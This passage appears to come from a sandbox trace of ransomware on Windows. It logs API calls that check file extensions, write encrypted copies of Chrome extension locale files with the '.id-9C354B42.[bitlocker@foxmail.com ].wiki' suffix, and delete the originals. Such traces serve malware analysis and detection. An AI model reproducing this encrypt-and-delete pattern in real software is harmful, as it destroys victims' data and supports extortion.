Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.846] lstrlenW (lpString=".1cd") returned 4 [0171.846] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0171.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.846] lstrlenW (lpString=".jpg") returned 4 [0171.846] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0171.847] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.847] lstrlenW (lpString="messages.json") returned 13 [0171.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.848] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=214) returned 1 [0171.848] CloseHandle (hObject=0x334) returned 1 [0171.848] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0171.848] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.848] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.848] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.848] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0171.849] GetLastError () returned 0x0 [0171.849] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd6, lpOverlapped=0x0) returned 1 [0171.849] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0171.850] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.850] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.850] SetEndOfFile (hFile=0x19c) returned 1 [0171.851] CloseHandle (hObject=0x19c) returned 1 [0171.851] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.851] SetEndOfFile (hFile=0x334) returned 1 [0171.852] CloseHandle (hObject=0x334) returned 1 [0171.852] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.852] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json")) returned 1 [0171.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.852] lstrlenW (lpString=".doc") returned 4 [0171.852] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.852] lstrlenW (lpString=".docx") returned 5 [0171.852] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.852] lstrlenW (lpString=".pdf") returned 4 [0171.852] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.852] lstrlenW (lpString=".xls") returned 4 [0171.852] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.853] lstrlenW (lpString=".xlsx") returned 5 [0171.853] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.853] lstrlenW (lpString=".ppt") returned 4 [0171.853] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString=".zip") returned 4 [0171.853] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.853] lstrlenW (lpString=".rar") returned 4 [0171.853] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.853] lstrlenW (lpString=".bz2") returned 4 [0171.853] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.853] lstrlenW (lpString=".7z") returned 3 [0171.853] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString=".dbf") returned 4 [0171.853] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString=".1cd") returned 4 [0171.853] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString=".jpg") returned 4 [0171.853] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.853] lstrlenW (lpString=".doc") returned 4 [0171.853] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.853] lstrlenW (lpString=".docx") returned 5 [0171.853] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.853] lstrlenW (lpString=".pdf") returned 4 [0171.853] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.854] lstrlenW (lpString=".xls") returned 4 [0171.854] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.854] lstrlenW (lpString=".xlsx") returned 5 [0171.854] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.854] lstrlenW (lpString=".ppt") returned 4 [0171.854] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.854] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.854] lstrlenW (lpString=".zip") returned 4 [0171.854] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.854] lstrlenW (lpString=".rar") returned 4 [0171.854] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.854] lstrlenW (lpString=".bz2") returned 4 [0171.854] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.854] lstrlenW (lpString=".7z") returned 3 [0171.854] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.854] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.854] lstrlenW (lpString=".dbf") returned 4 [0171.854] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.854] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.854] lstrlenW (lpString=".1cd") returned 4 [0171.854] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.854] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 154 [0171.854] lstrlenW (lpString=".jpg") returned 4 [0171.854] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.854] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.854] lstrlenW (lpString="messages.json") returned 13 [0171.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.855] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=215) returned 1 [0171.855] CloseHandle (hObject=0x334) returned 1 [0171.855] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0171.855] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.855] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0171.856] GetLastError () returned 0x0 [0171.856] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd7, lpOverlapped=0x0) returned 1 [0171.857] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0171.857] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.858] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.858] SetEndOfFile (hFile=0x19c) returned 1 [0171.858] CloseHandle (hObject=0x19c) returned 1 [0171.858] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.858] SetEndOfFile (hFile=0x334) returned 1 [0171.859] CloseHandle (hObject=0x334) returned 1 [0171.859] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.859] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json")) returned 1 [0171.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.859] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.859] lstrlenW (lpString=".doc") returned 4 [0171.859] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.859] lstrlenW (lpString=".docx") returned 5 [0171.859] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.859] lstrlenW (lpString=".pdf") returned 4 [0171.859] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".xls") returned 4 [0171.860] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".xlsx") returned 5 [0171.860] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.860] lstrlenW (lpString=".ppt") returned 4 [0171.860] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString=".zip") returned 4 [0171.860] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".rar") returned 4 [0171.860] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".bz2") returned 4 [0171.860] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".7z") returned 3 [0171.860] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString=".dbf") returned 4 [0171.860] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString=".1cd") returned 4 [0171.860] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString=".jpg") returned 4 [0171.860] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.860] lstrlenW (lpString=".doc") returned 4 [0171.860] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.860] lstrlenW (lpString=".docx") returned 5 [0171.861] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.861] lstrlenW (lpString=".pdf") returned 4 [0171.861] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.861] lstrlenW (lpString=".xls") returned 4 [0171.861] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.861] lstrlenW (lpString=".xlsx") returned 5 [0171.861] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.861] lstrlenW (lpString=".ppt") returned 4 [0171.861] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.861] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.861] lstrlenW (lpString=".zip") returned 4 [0171.861] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.861] lstrlenW (lpString=".rar") returned 4 [0171.861] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.861] lstrlenW (lpString=".bz2") returned 4 [0171.861] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.861] lstrlenW (lpString=".7z") returned 3 [0171.861] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.861] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.861] lstrlenW (lpString=".dbf") returned 4 [0171.861] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.861] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.861] lstrlenW (lpString=".1cd") returned 4 [0171.861] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.861] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0171.861] lstrlenW (lpString=".jpg") returned 4 [0171.861] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.862] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.862] lstrlenW (lpString="messages.json") returned 13 [0171.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.862] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=223) returned 1 [0171.862] CloseHandle (hObject=0x334) returned 1 [0171.862] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json")) returned 0x2020 [0171.862] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0171.862] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.862] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 